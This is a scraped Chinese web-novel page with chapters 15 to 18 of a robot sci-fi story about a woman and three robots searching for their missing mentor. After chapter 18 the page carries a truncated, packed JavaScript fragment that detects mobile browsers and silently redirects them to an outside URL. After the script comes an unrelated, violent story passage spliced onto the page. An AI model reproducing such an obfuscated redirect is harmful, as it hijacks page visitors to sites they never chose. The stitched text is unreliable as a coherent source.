“可奇怪的是,受伤以后通常好起来也都特别快,甚至比常人快多了!怎么样?厉害吧!” 望着纪凛烛笑意莹莹的、明晃晃的眼睛,玄烈呆呆的迟迟说不出话来。 过了一会,名叫炳灿的机器人晃悠着回来,给大家讲了讲外面大致的情形。地震让门外的世界和门内几乎是同等的凌乱,都是废墟一般,四处可见生物以及机器人的尸体,黑寂军依旧在游荡,但数量上少了很多,约莫再过个半天左右便会尽数退散。 这边情况还没交代两句,阿盼和炳灿就又开始冤家一样地拌起了嘴,在另外两人好说歹说后,勉强稳定了情绪。 “既然你是黑客,那你怎么不黑到公司计算机里去看看碎片到底藏在哪啊!” 炳灿一挑眉,“你怎么知道我没有?” 在看到阿盼吃惊眼神,炳灿邪魅一笑,“我确实到了系统后台,也确实看到了碎片所在地。” “在哪?”阿盼兴奋起来。 炳灿抱着手臂,“就在游戏开始时的地方,原地挖三尺就是了。” 漫不经心的样子让阿盼气不打一处来。听到这话,纪凛烛心里一惊,想着自己果然一语成谶,原来这诡计多端的游戏制定者也就这么点烂套路。 阿盼大步迈到炳灿身边,就差指着对方鼻子吵嚷,“不可能!把你生产出来的人怎么可能轻易就被你兜了老底!岂不是公司上上下下人人都能去黑一份机密来!” 炳灿并不生气,只是继续浅浅笑着,“当然。所以我并没有相信这份信息,否则我还站在这里做什么?” “你!” “我仔细观察了一下公司给的碎片缺口图,觉得这么个环形的东西很像机器人肩膀与手臂连接处的强化关节,何况突然放出来一批只会杀人的家伙,十有八九那碎片就在其中一个家伙身上。” “哦对!”阿盼一拍脑袋,“怪不得刚才那个小哑巴跑走之前,在那堆机器上翻来翻去,原来是这个道理!既然你早知道,那你干嘛还让人家抢了先?” “因为现在把碎片攥在手里并不是什么好事啊!大部分人这前几场游戏基本就是走个过场,杀人放火的事估计是公司有意做给我们看的,无非就是想挑起争端呗,这样来看,拿着碎片有什么好啊?即使非比赛期间会有人身保护,但保不住下一场游戏一开始就会变成所有人的目标。何况最终需要集齐那么多碎片,变数多着呢。” 意识到自己没有了再争辩的道理,阿盼哑言,表情却依然恶狠狠,眼神里仿佛还在喋喋不休。 纪凛烛见情势完全僵住,于是哄阿盼赶紧去睡觉,明天她可不想扛着这昏昏欲睡的铁疙瘩行万里路。 ——玄烈,玄烈? 玄烈忽然貌似听到空荡荡地叫喊声在他周围环绕。 ——玄烈! 是炳灿?玄烈对上炳灿的目光,才发现对方只是用后台发射的信号与他加密通话。好厉害,这是玄烈第一次收到无线信号私密联络,可惜,二代只能接收,并没有主动拨出的功能。 万籁俱寂下,炳灿良久的沉默,玄烈用眼神写着疑惑,对方似乎很为难的样子。 ——你,真的不知道林老师 15. 第 15 章 《暗号是地表最强机械体》全本免费阅读 阿盼非要到场中央那诡异的金属手术台上睡觉,即使那铁台子冰到仿佛能把人的皮肤活粘下来一层。阿盼刚一屁股坐在台上,就被冻得嗷嗷叫,但他坚决不挪地方,就为了在炳灿面前显得他真男人。 拗不过他,纪凛烛只得把睡袋铺在台上,又把他硬塞到睡袋里,再给他盖上几层厚厚的抓绒衣,以便他不会睡到一半直接冻死机。 一通忙活完,纪凛烛发觉自己倒是没那么冷了,准备叫玄烈和炳灿快去休息,却发现炳灿目不转睛看着玄烈,而玄烈呆愣愣的,五官皱在一起。 什么情况,这幕景象的诡异程度不比看到“玄烈”和自己父母站在一起差几分。 “玄烈,玄烈?你怎么了?” 玄烈迟钝地抬起头,眼珠缓缓转动看向纪凛烛,若大病初愈一般,脸色差得很。 “是我杀了林老师。” “哎!”炳灿一个没看住就让玄烈轻易把秘密说出了口。 怎么办,怎么办?是该捂玄烈的嘴还是捂纪凛烛的耳朵?显然此时话已出口、瓜熟蒂落,不管干什么都显得他比那边熟睡的铁球呆得多。不如赶紧跑吧! 听到这话,纪凛烛放下手中正拆封的睡袋,严肃地坐在玄烈面前,“谁是……林老师?” “是……唔!” 这下炳灿可算瞅准时机,在玄烈的嘴和纪凛烛的耳朵中间选择了一把捂住玄烈的嘴,“真打算什么都说啊你!” 玄烈挣脱开炳灿的手,这突如其来的身体接触让他很不自在,“没关系的,她是好人。” “好人可不在脸上写着!你现在看她表面上瘦弱娇小弱不禁风,下一秒她背地里就能抹你的脖拔你芯片!” “嗨!谁弱不禁风!” 纪凛烛本想凑个热闹,没想到竟还能扯到自己头上,瞬时从腰间抽出一把刀冲向炳灿,眼神凌厉,手筋暴起。 炳灿却不屑地挑眉,“不过,你要知道也可以。” 纪凛烛巍然不动,“你拦不住玄烈,玄烈会告诉我的。” 视线转向玄烈,玄烈一副脑子独自环游世界的样子,点点头。 炳灿恶狠狠地咬牙,“你!你要是敢说出去,我……我就把你的压缩饼干都捏碎!” 纪凛烛回敬了一个更凶狠的眼神,“你!” 太恶毒了! “林老师,是全方位负责我学习生活事宜的老师。” 玄烈幽幽开口,炳灿收回气势,只略带担心地看着玄烈,纪凛烛收起刀,安安静静地聆听。 “他叫林瑀,是二代总设计师。从小是他教我新技能,帮我修零件,保护我,给我起名字……” “林瑀……林瑀?” 纪凛烛猛地想到什么,兴奋如决堤洪水般奔涌。 “但是五年前,他突然失踪了,就好像人间蒸发了一样。” 炳灿点点头,“我最后一次感应到他是在公司地下车库。我曾经尝试着在全岛信息中心寻找,也没有发现他来往或者居住记录。他的账户全部被冻结了,医院、之类的地方也没有他的影子。” “好像是我,把他杀了……”玄烈看上去十分失落的样子。但或许是机器人的木讷,纪凛烛只从他脸上看到了空洞,所以难以真正体会他内里那份痛苦和惴惴不安。 纪凛烛眼中星星点点闪烁着无限激动,“是哪个字?王字旁加一个‘大禹治水’的‘禹’吗?” 停顿片刻,两只机器人点点头,“你怎么……” “是不是缱清洲人,六十岁左右,头发花白,左手不灵便,常带一只棕色皮质手套,讲话低沉缓慢,喜欢抽烟,抽起来没完的那种?” “是缱清洲人……”玄烈正苦恼地思索着,炳灿却瞪大眼睛,猛地一拍脑袋,“对!除了不戴手套,别的都对!你怎么知道!” “师父……”听到旧人的消息,纪凛烛即刻兴奋起来,“他是我的师父!是他送给我那一对刀,从我四岁开始带着我训练!但是,一直到我十四岁的时候他就说要去云游四方,不能再教我了。我……上一次见他是两年前我大二升大三的暑假,他专门跑去给我过生日!” “两年前?” 在玄烈刚晃过神来的时候,炳灿的表情又开始晴转多云,抢先大叫,“不对!” 这下二三代关于反应性能的差距倒是彻底显露出来。 “是不对,”玄烈皱起眉头朝向炳灿,“林老师是五年前失踪的,刚才那段视频……” “刚才那段视频确实是我五年前真正看到的,是我直接从我的记忆里截取出来的,做不了假。”炳灿说着,目光狐疑地落在纪凛烛身上。 那就怪了。 “没错啊……他当时说他从永璃岛退休返乡了,借着喝得大醉还跟我讲他认识我父母,是他们的学长兼同事。但是无论我怎么问他都说不上来关于我父母更多的事,我以为他在耍我,毕竟我小时候他也总是耍我。最后,最后就告诉我要好好学习,只是……” “只是什么?” 纪凛烛似乎没有听到炳灿的反问,突然自顾自地回想起方才两位机器人的话,“等一下,刚才你们说什么?什么视频?” 炳灿同玄烈微妙地交换了一下眼神,操作数控面板,在手掌上形成一块同菜刀一般大小的屏幕,从头至尾将玄烈刚才看到的视频播了一边。 没错,虽然画面模糊不清,但纪凛烛认得出这就是林瑀。 “他说……”纪凛烛突然觉得身后发冷,“他说让我千万不要来舜氏、千万不要来永璃岛。” 一听这话,对面两个机器人满是疑惑。这样严肃告诫的目的,无非就是挑起她的好奇心,让她越发要来这里探寻。 如果是林老师,那他为什么要这么做,为什么要致她于危险境地、引她卷入这场奇怪的争斗? 纪凛烛顾不得这招是否是引狼入室的阴谋,又与她父母有什么干系,这之中有太多谜团好像触手可及,又好像笼罩着一层似薄非薄的迷雾,“等一下玄烈,如果你、我和这个奇怪的人说的都是真的……” “喂!谁是奇怪的人啊!”炳灿叫道。 纪凛烛没理会他,“咱们需要的交换信息和学会信任……玄烈,你的记忆,是不是被人为篡改过?” 不是没有这种可能。玄烈没有回答,只是冥思苦想,但他分明在那近乎虚无的记忆中找不到任何答案,就像从未活过五年前中秋那天。 过分的负荷让他大脑运行受阻,他忽然感受到明显的痛苦,仿佛千针万刺啄着他的太阳穴。 “没关系的,不要想了。” 纪凛烛拍了拍玄烈的肩膀,递给他一半压缩饼干,“休息一下,想是想不出来的,我们需要知道更多。” 看到那块压缩饼干,炳灿正考虑着自己该怎么开口也讨一块,随即对上了纪凛烛警戒的眼神。 “我怎么样能相信你?” 半晌,炳灿终于开口,“我本来不想这么早说,这破地儿实在不是说这个的好时候。但是如果林老师还活着,那么我倒是乐意早点完成他交给我的任务,这样就能当面去领赏,告诉他确实没看错人,我这个才貌双……” 玄烈实在听不下去,顶着头痛也要露出无比嫌弃的表情,“说重点。” 被打断施法的炳灿显然不是很愉快,撇了撇嘴,盯着玄烈,开始讲重点。 “我其实十几年前年前就见过你。” “十几年前?”玄烈问。 “嗯,我其实是三代第一只机器人,因为当时研发团队大换血,许多人根本都不知道怎么做机器人,于是临时把林老师调过去做科研,才创造了我。一开始我就是养在二代区,所以经常见你,过了两年我就被调回去三代区了。 “后来是训练事故,有个大家伙非要去做什么压强承载超负荷耐受训练,结果硬生生把自己撑爆了!那大铁片子直接扫到我小腿上,切断了好几条神经。正好是第一批五代的小家伙们出生,上上下下忙得很,没人管我,把我到处 16. 原因(3) 《暗号是地表最强机械体》全本免费阅读 漫长的冷场,每个人心事重重,眼见气氛就这样低沉下去。纪凛烛原本神经紧绷,被困在问题里环环绕圈,现在好不容易松了口气,身上的冷则越发难以忍受。既然已经决定好明日的路程,那么想破脑袋不如安心休息,养足精神才是实打实的重中之重。 此下情况只得就地委屈了,可炳灿轻装上阵连个睡袋都没有,只盯着玄烈身旁的睡袋傻笑。感受到了威胁,玄烈一把抱起睡袋僵视着不怀好意的炳灿。 这下倒让一旁的纪凛烛看了热闹。近距离的面面相觑下,纪凛烛发现俩机器人某个角度竟神似照镜子。虽然气质大相径庭,可制造机器人终归不能用人手捏,这流水线作业出来的机器人模样还是差不太远的。 不过区别还是有,比如明明都是单眼皮,可玄烈看上去比炳灿要呆得多。纪凛烛忍俊不禁,她这才发现两人其实看上去年岁不差多少。 “炳灿,你今年多大了?” “我二十了。” “你也二十?原来你和玄烈一般大!” 玄烈轻轻点头,“二三代也不过是不同工程师的不同界定,三代起步早,但二代几乎没有结束的时候,算下来,如果杨叔这支团队要继续研发机器人的话,还是可以叫做二代体的。” 纪凛烛张圆了嘴,刚准备做恍然大悟的表情长吁一声,却被截断。 炳灿臭美地扬起下巴,“我啊,三代工程师主创团队最初的心血!三代第一!哼!三代第一!” 忽然,从后方传来另一人声,使三人不由一惊。 “说了半天、嚷嚷来嚷嚷去只有‘三代第一’,你怎么不说你是三代最老的呢!” 眼看炳灿就要发作,被纪凛烛拦了下来,“阿盼,你没有睡着啊?” 阿盼面露不快,揉着眼睛坐起身,“你们一直说话,我哪能睡得着嘛……” 朦胧中,阿盼怒目圆睁地看向炳灿,“林老师让你保护我们,你呢,就在一边看热闹!” 炳灿局促地笑着挠了挠头,“我,我就是想知道看玄烈是不是像林老师说的那么厉害。” 觉得无聊,阿盼又缩进睡袋里一动不动,“得啦,我都听到啦,明天去钻山洞。快睡吧!我好困呐!” 最后炳灿并没有得到睡袋,但玄烈也不忍心让他一只机器孤零零地蜷在墙边,于是还是摊开了睡袋,一人一半盖在身体上,且炳灿身体上的移动热源配件也足够两人不会被冻成冰铁块。 看到如此温馨的一幕,纪凛烛也安心去睡觉了,可一夜难眠,她紧攥着那相框舍不得移开眼。 她原本只是想试探性地挖掘,看能不能找到一些父母的痕迹,继承父母的衣钵,可现在看来,舜氏的大动作很可能进一步牵扯到她父母,于是这其中真相开始占据她全部的愿望。她只是想知道、明白、了熟于心,至于后果,全都不重要了。 倒是一夜寂静,玄烈并没有选择入眠。二代体在没有休眠舱介入的状态下不太容易入眠,当然,心宽体胖的阿盼是个例外,何况一下子接受如此多信息,玄烈也失去了休息的心情。 看着不远处纪凛烛缩在角落里来回辗转,玄烈猜测她或许做了噩梦。 的确,纪凛烛刚入睡不久便做了循环噩梦,不得已在惊慌中醒来。 这样荒凉阴冷的地界实在不是适合睡觉的场所,纪凛烛干脆坐了起来。看到她忽地坐起,吓得玄烈立刻条件反射合上眼装睡。他也不知道自己为什么要这样做,或许实在没有和纪凛烛搭话的勇气。都太乱了。 清晨,红日初升。虽然这废弃实验室密不透风,可朝气蓬勃的阳光还是穿过门缝,撒在实验室外的大厅里。 纪凛烛迎着刺眼的光走出了门,在清亮新鲜的空气中彻底清醒过来,将烦恼暂时抛诸身后的屋子里。有阳光就是有希望。 三只机器人挨个醒来,他们的精气神看起来比纪凛烛要足得多,一副迫不及待要上路的样子,开始收拾行李。 大包小包一拾掇,四人开始朝北走。炳灿负责举着指南针,期间不停与阿盼拌着嘴,玄烈则一声不吭,偶尔跟着乐呵一下。纪凛烛则忙着观察周边的地形。 人类的肉身可比不上机器的铁皮。树林里雨水充盈,到处都是潮湿气,暂不提四处乱撞的蚊虫,光是大小不一的毒蛇就在路上林间看见四五条,更不说路上越来越丰厚的淤泥。如果此时蹦出来个黑寂军什么的,就不只是棘手的事那么简单了。 就这么顺着一条小溪走着,每个人心里都藏着很多事,每个人都绷着心弦,谁也不知道这趟路走得是否值得,就这么一直走。 半晌,阿盼正与淤泥做斗争,炳灿忙着念叨这丛林战该怎么打,纪凛烛轻轻开口。 “玄烈,你可以给我讲讲林老师吗?” 玄烈点点头,深吸一口气,开始努力镇定地边回忆边叙述。 “我睁开眼睛看到的第一个人就是林老师,我印象很深,因为他那时表情很悲壮,但还要故作很开心的样子,握住我的手,告诉我他叫林瑀。 “我一开始是没有名字的,大家都叫我零一,虽然在我之前还有更年长的二代体,但他们都叫我零一。我本来是很先进的,几乎什么都会,反应灵敏、文武兼修,记不清什么时候开始,好像是有次我生了病,不知道染了什么病毒,就快要报废了。距杨叔说,我在手术台上一躺就是半个月,再以后我的身体就大不如前,许多技能都消失了,身体开始沉甸甸的,也就是那时候,林老师突然告诉我说,以后我叫玄烈,再不让别人叫我零一……” 听玄烈说到这,炳灿忽然奇怪地咯咯笑起来,“我小时候,还管你叫过零一哥哥。” “我去!”阿盼猛地凑上前来把炳灿吓一跳,“这么劲爆!” “一边儿去!”炳灿一把将阿盼的脑袋拨了回去,“你估计都不记得了。不过你那时候和现在好不一样,现在寡多了!” “我记得,你当时只有我膝盖高,每天缠着我让我给你棒棒糖吃,”玄烈没有看炳灿,一本正经地说着瞎话。 果不其然,炳灿听了后气歪了鼻子,眼睛瞪得像乒乓球,“屁!我才不会做这么蠢的事!要是有,也是你追着我给我塞棒棒糖!” 听了一圈,纪凛烛止不住地乐,“可是你们不是一般大吗?” “对啊,可是我会慢慢成长,但我见玄烈第一眼他就差不多是这个样子……嘶,现在想起来,我干嘛要叫你哥呢, 17. 信(1) 《暗号是地表最强机械体》全本免费阅读 越往前走,河水则越来越湍急,周边倒塌树木的细枝碎叶被冲走过半,更大的枝干偶有横架在河面上,河中央零落的大块岩石被水流削得无比光滑锋利,如若不慎落水,则后果几乎只有殒命。 飞瀑湍急,清寒之气氤氲而上,边壁雄奇险秀陡峭异常,是完全不能攀爬的程度。大自然的鬼斧神工间,如若得一副天梯,或许就能到达绝山之巅瞻望仙境。 一行人依靠着地势高的那岸行走,沿途注意着林老师所说的洞穴。这一走,就走到了瀑布边,边上的陡崖引人胆寒,自此再无前路。 “奇了,说好的洞穴呢?怕不是让地震震塌了吧!” 耳边不停呼啸着的只有后浪拍前浪的巨响,纪凛烛四处环顾着,考虑是否走错了方向,“林老师说避开瀑布,应该不是瀑布底的水帘洞,咱们可能走过了。” 阿盼明显有些泄气,可还没来得及发作,天却忽然阴了下来,灰云沉沉,将指路的阳光尽数掩埋起来,怕是要下雨。 “遭了,下着雨什么就都看不清了,咱们得尽快找。” 随着炳灿发号施令,四人散开一条长队,各自探寻着所谓的洞穴。 拨开杂乱的繁茂枝叶,目光所及除了水就是山就是树。渐渐地,小雨斜撒而来。 虽然是不痛不痒的小雨点,可似乎正完全助长了河水的威风,愈渐猛烈地奔涌向前,薄雾渐起,从周围无声飘来,蒙住渴求的目光。不得已,四人围靠在一起向前走。 “好像在这!” 眼尖的阿盼率先在山壁边发现一处异样。些许小石块与碎枝杂叶堆在一起,轻轻推开就会发现一齐膝高的小洞,洞内情况复杂,走势竟是直直向下,像一口竖井,黑暗无比,深不见底,莫不可测。 除了这里貌似再没有类似的洞了。 炳灿先举起手电筒向下照了照,内部结构走向迂回,并不能直接见底,没有结果,光的尽头还是一片漆黑。玄烈从地上抓起一小石块投了下去,石块在左右石壁上来回碰撞发出清脆的响声,随即落了地。 毕竟不是特种兵来的。纪凛烛犹豫起来,她本就缺乏野外谋生的经验,此刻如果心一横下了洞,但凡有一丝差错,自己的生命就要断送在这。 “要不我们三个下去吧,你回实验室等我们。” 玄烈似乎看穿了纪凛烛的疑虑,想来机器人总归是比人类要坚实得多,“我们要是发现了什么,我会记住,我都会告诉你。” 话音刚落,一阵“啧”声从炳灿口中传来,接着故意各种阴阳怪气地重复,“呜呜~我都会告诉你~~”,于是结结实实地挨了玄烈一拳,在阿盼的嘲笑中闭上了嘴。 这个小插曲让纪凛烛心绪平复了些,她不由得握紧腰间的刀,想着既然要谋大事,起码就不能被吓退在第一步上,畅谈一笑,“谢谢玄烈,但我还是想亲眼去看看。” 话至此,雨竟然停了,虽然一时间雾难以退散,但万幸雨水并没有长久涌进洞里。时不我待,下一步是赶紧进洞。 对视之间,不用想也知道是该四人中最先进的炳灿先行蹚这趟雷,尽管他面露难色,却难挡众望。 片刻,炳灿顺利到达洞底,开始招呼众人下洞,“洞非常窄!下面不知道什么时候多了条淡水河!而且水位在慢慢上涨!但是只有这一片地方有水!这里后面的路走势是向上的!不是很长!应该就是了!” 洞面三人屏气凝神。阿盼胆小,硬拽着玄烈不敢下洞,纪凛烛则一马当先,说是要给阿盼做个榜样,先将包扔给了洞底的炳灿,举好手电筒开始进洞。 洞内怪石崎岖,并不能顺畅地溜到底,且石面较滑,纪凛烛一边小心摸索一边不停确认自己是否踩稳。 似乎过了很久,纪凛烛感到手臂有些疲累,听着炳灿的指示,应当是来到了最后一个最难通过的当口,那是两块岩石针锋相对形成的最狭小的缝隙。 刚刚半截身子过了缝,纪凛烛勉强寻了个落脚的地方,却怎么也不会再往下了。氤氲的水汽缓缓上飘,她整个人贴在背后的石块上,可面前的石块距离她也不过十公分,全身几乎被夹在这个缝隙处,光是精神层面的折磨就够一个人在这里丢了魂,如若此刻再不能保存温度而导致体温过低,那后果将不堪设想。 听到没有动静,阿盼在洞口大喊,问纪凛烛是否有事。 “我……我好像被卡住了!” 听到略带急促和紧张的回复,炳灿一拍脑袋想起来自己这些机器人拥有“变形”的功夫,所以还算顺畅地通过了,阿盼直接着急得乱作一团。 玄烈思索一阵,趴在洞口大喊:“不要紧张!慢慢呼吸!紧张的时候胸腔会膨胀,放松下来!试试看能不能找到周转的余地!” “对对对!放松!”炳灿透过缝隙递给纪凛烛一根棍,让她在寻找下一落脚处时抵住石壁。 心神宁静,意守丹田。纪凛烛默想着自己做八段锦时的状态,轻轻挪向右手边缝隙略微大一些的地方,踩准了空地,甩了甩酸痛的手臂,抵着石块身体尽力往后贴,缓慢离开了这处缝隙,再手脚并用可算落了地。 炳灿说的没错,这里地下淡水河的水位的确在上涨,一会儿的功夫就从脚踝淹到了小腿肚,不过万幸前方上坡路能很快逃开这滩水。 “阿盼!玄烈!你们快点!” 任凭炳灿在洞底喊了近十遍,洞口依旧没有任何回应,倒是四处碰壁的回音砸得纪凛烛脑袋嗡嗡响。 “他们不会跑了吧!” 一转头,炳灿正满眼惊恐地看着纪凛烛,而纪凛烛也彻底愣住了,刚想感叹一句炳灿的眼睛又大又圆还亮汪汪!但又想起此刻并不是说这个的时候,“不会吧……” 刚说着,玄烈从洞上方麻利地跳下了,精准降在纪凛烛与炳灿中间,将地下的水高高溅起,顺势拍了拍身上的泥灰,仰头喊了一声,“阿盼下来吧!”便向一旁撤了一步。 随即几人头顶上方传来怪异的摩擦声,越来越近越来越近,忽然一轱辘到纪凛烛原本卡住的地方停止了,开始传来慌张的喘息,“救救我呀救救我!我被卡住了!玄烈!玄烈!” 顺着声音的来源往上看,纪凛烛正好看到了阿盼露出的两条小腿不停扑腾,看上去是吓坏了。 实在是惨,又实在好笑。 炳灿扶额无奈摇着头,玄烈走来走去张望着阿盼身边的情况并想着办法,顷刻后停住脚步,开始指挥“降落”。 “右手边有空!你稍微往左边挪一挪!右手就能从那条缝里放下去!你就能摸到了!” 摸到?摸到什么?话才说了一半,阿盼似懂非懂开始行动,纪凛烛刚想问个彻底,就听到阿盼不知摁了个什么按钮,忽地,肿胀的身体像缩了气的气球,整个人瘪着顺着洞壁竟滑了下来。 纪凛烛还没看清瘦下来的阿盼究竟是什么模样,对方就在一屁股坐在水里的瞬间,一口气胖回了原样。 “够神奇的……” 纪凛烛像围观动物园里的熊猫一样,观察着手扶尾椎不停叫唤的阿盼。 “我说,你们刚才在上面磨蹭什么呢!这会儿水都没到膝盖了你们才下来!” 面对脸色不太好的炳灿,玄烈显得 18. 信(2) 《暗号是地表最强机械体》全本免费阅读 玄烈摇摇头没有说话,复杂地凝望着面前破落的图像,忍不住伸手触摸。 就在他手指轻碰到石雕上两个紧握着的手的时候,“啪”,身边通道尽头突然亮了起来。 “没错,这是个开关。” 另一面光线的撒来,彻底照亮了玄烈的神情,纪凛烛哑然,原来刚才看到的景象都是泡影和幻觉。 只见玄烈收回了手,淡淡地看了一眼,转身向上爬去。 “哈哈!原来是个开关!玄烈眼神真好!”阿盼乐呵呵地就要跟上,这一下彻底把众人注意力又拉回了坡顶的实验室,除了纪凛烛,但她一心怪异无处说,沉默跟着走。 低头挪了十几步,便登了顶。那一方小天地的门口,是一框着玻璃的木门,光是从玻璃中透出来的,把手的位置还有违和的机械锁。玄烈轻轻一推,那门竟轻而易举地开了,似乎已经在此恭候他们多时。 门开的瞬间,连接着门前小厅的左手边内室,忽然发出来同刚才类似的声响,貌似是人慌张翻走的动静。 没有停歇,玄烈一把将门狠狠推开,就向内室奔去,后排的炳灿也跟着冲了上去,阿盼则着急忙慌缩在门口,纪凛烛先探看右手边空荡荡的内饰,又环顾着整个房间的装潢。 奇怪,据林瑀所说这里应当是一实验室,可这古色古香的内部装景,怎么看怎么都不像是一副现代感的样子。 中式低矮原生态木质茶台,桌角充满禅意的竹质卷草龙纹摆件,绿植四处可见,竹屏风边书架上的文心兰与旁边的火棘花交相辉映,桌旁一盆簕竹升级了整个茶室的情调,头顶仅有的一小束暖色灯光影昏黄,徒增了分奇诡的祥和。 “没有人。” 玄烈满脸凝重地走出来,身后的炳灿手捧着一堆奇怪的灰,“确实有人先我们一步来这,不知道烧了些什么东西,刚才咱们听到的,就是他翻窗跑出去的声音。” “窗?这地下还有窗?” 阿盼不信邪,掰开堵在门口的两人往内室一瞧,果然有一扇木质双开窗,但俨然被外力破坏掉。 纪凛烛觉得甚是奇怪,便跟着阿盼上前观望,“会不会,是林老师?” “那他跑什么?” 也对,纪凛烛沉默。她顺着窗台隐约留下的半个脚印向外看,外面几乎是漆黑一片。随意拿手电筒一扫,这窗外的场景让所有人都大吃一惊。 窗外并不是什么天然洞穴,而是比室内要精致百倍的地下科研室,只不过同山上的那实验室一样,几乎已经废弃了。 场地几乎有半个足球场大小,场内均匀排布着类似手术台的装置,每架手术台的头顶都有一盏小灯,除此以外,便什么都没有了,平白落着灰。左右还各有几件小内室,但并不像使用过的样子,而是空荡荡地遗落在这里。 “这里不太对,咱们还是抓紧看看林老师留给咱们什么吧……”说着,阿盼将纪凛烛从窗边拉回小厅,看上去吓得不轻。 “喏,一捧灰。” 炳灿突然将手中的一坨灰烬推到阿盼面前,险些让他大吸了一口。 “你干嘛!”阿盼叫道。 “这是什么?”纪凛烛好奇。 炳灿将手中物尽数放到地上。那是一捧还未燃烧完全的纸片,貌似是信之类的物件。玄烈轻轻翻找,从中翻出些令人只能一知半解的残字。 “刚才闻到烧火的味道,应该就是从这来的。” 玄烈将剔出来的残片各种排布,却难以从中得到什么有用的信息。 “什么‘第一战备’……呃,这是念‘玚’吗……还有这什么‘修’、‘虫’……什么‘火’,‘真’……这,这两点水是个部首吧!这,这什么字啊!” 四人蹲在一起,再不出什么办法来。 “看来,有人知道我们要来这。” 这时目光都不约而同朝向一脸呆滞的炳灿,看得他脸发毛,猛地举起右手呈发誓姿势,“绝对不是我!我要是想动手脚还带你们来干什么!” 确实暂时找不到理由怀疑谁,于是这条路彻底堵死了,四人开始寻找其他线索。 房间确实是有人来定期打扫没错,否则这里不会几乎不落一丝灰。书架上和书柜中的书整整齐齐按大小颜色分别归置好,可以见得这地方的主人有多精致。 纪凛烛小心翼翼地翻找着是否有夹藏在书中的秘密,却忍不住翻阅起这些书。 全是回忆啊,纪凛烛忍不住感叹。这些书大部分竟然是高中教材,她特意挑选了一本数学来翻看,书上的笔记完全详尽且字迹工整,简直赏心悦目,貌似它们的主人是一姑娘。 只不过有些内容她没学过。仔细翻看,才发现这教材竟然是二十年前的版本,与她的高中时期相隔甚远。书皮封面的签名是一枚大写的Z。 纪凛烛一本一本地翻,几乎每本都拥有精致漂亮的字迹,直到她翻到一本无比厚的科幻小说,随意一展就能轻易发现里面夹着的一封信。 “阿烛,这是什么?” 玄烈率先发现了拿着可疑物品发呆的纪凛烛,并蹲到她身边好奇地端详。顺着他的呼应,剩下两人也一齐跑了过来看热闹。 信的外套是一层牛皮信封,上面并没有写什么,且并没有封口。纪凛烛拿出里面尘封的泛黄字迹。是与那些教材上一样的笔迹,看来出自同一人之手。 展开第一眼,所有人惊在原地不敢呼吸。 “我,我没看错吧,开头是,亲爱的……”阿盼语调微颤,满是不可思议。 当然,最不可思议的应该是纪凛烛。 因为开篇的首语竟然是。 亲爱的凛烛。 【亲爱的凛烛:】 【见字如面。】 【我开学已经一个月了,竟然才一个月!我不想去数我还要在这里待多久,我很想你。】 【这一个月在你看来一定很短吧?你每天都那么忙,忙着巡逻、忙着训练、忙着听那些老头的教诲……我好想带你去草原。】 【不过你放心,我说到就会做到!我会在这里好好学习啦,你不必太担心我。】 【我每次写信都想要嘱咐你好多,你别怪我,谁让你那么容易受伤!也不懂照顾自己。】 【我不能再写了,我们只能休息二十分钟,我可是牺牲了洗头吃饭时间才能给你写信!你要是不看上几十遍都对不起我!】 【马上要上晚自习啦,拜拜!等我回家。】 【Z】 署名又是一个大写的Z。 可是,什么巡逻?什么训练?什么老头的教诲?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12904326|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程炼吃痛的呻吟也占据了整个空间,舜真还没有停止。 直到刃来到了尽头,扎穿了程炼的肩膀,刃尖已顶到了程炼背后的墙壁上。舜真狠厉向下一砍,肢体从内而外逐渐破裂的声音愈响。程炼绝望地大叫了一声,某种液体“噗呲”往外溅着,他的左臂完完整整掉了下来。 再缓过神,玄烈捕捉到舜真手里那柄消失了的刀,瞳孔忽然间睁大。 那并非实际存在的物件,更像是凭空生成的影子。那冒着血红色的晶体状光片,在舜真手里活跃得像小型恶魔。 不知怎么的,玄烈猜想,如果人也有灵魂的话,或许人类灵魂里的心脏,也是这个样子。 刀在消逝后化作了一缕缥缈的带状尘埃,其锋利程度居然足够在程炼身后的高强度金属墙壁上留下划痕。 相比于库星锥,舜真的刀有过之而无不及。 “总有一天你会后悔自己做过的错事。那时你就该知道,如果没有她们,你早就会下地狱。” 舜真漠视着地板上半死的程炼,说了这么两句,便头也不回地离开了。 杨宁心情复杂地看着他,过了一会,他拨开后勤部的电话让派人来收拾残局。临走时,他也没忘给程炼肚子上来了一脚。 哉徉岛沉寂了。 其实是反抗无果的沉寂。 爆炸发生后不久就有探测系统观测到潼氏出动了部分人马,像是要发起反击。一些在此次战争中不曾出动的更高级机械体响着警报打算与战机一同飞来,却诡异地在飞出哉徉岛范围后自爆了几架。 观赏性极佳的大大小小爆炸照亮了波涛汹涌的墨色海面,坠落的机械碎片砸入海中溅起高高的水花。转眼间,哉徉岛东北部乌泱泱飞来了大片银灰色机甲。 这时的潼氏已失去了反抗能力,或者说哉徉岛认命了,任凭涂云集团以保护名义驻扎在岛上,实则行侵略之事。 从那一刻起所有人不眠不休,就怕在睡着的下一瞬炮火会无情地攻回来。 潼霜和韶赋修也没有联系过这里一回。听闻哉徉岛当局有两名官员气得吐血,全部要求向永璃岛发动进攻,而官方军队失去了潼氏的助力,就像行走在悬崖上的人脚下的钢索被锯断了。 失去了潼氏,哉徉岛溃不成军。 要求派兵的指令发到残破不堪的潼氏大厦内,就如平静海面掉进了一根针,半分回应都得不到。 百姓们知道舜氏一个导弹就把潼氏轰得七零八碎后,全都兴奋起来。新闻媒体关于报仇雪恨的消息满天飞,人们更是当即就开始召行集会,准备庆祝胜利。 但不是这里安静就完事大吉了,他们忘却的一件事在下一秒突然被提起。 黑夜过去,光明降临的时刻,永璃岛中心市区,尸横遍野,血流成河,人们在死亡的恐惧中狂啸疾奔,刚燃起的胜之火炬点着了街边的广告牌,熊熊火光比新日先一步点亮了永璃岛。 天堂和地狱只在刹那间。 先是机械体联络信号灯闪烁不止,可惜没人看到,随之惊动了永璃警察。 战争的事他们可以不管,但平民伤亡他们可不能坐视不理。 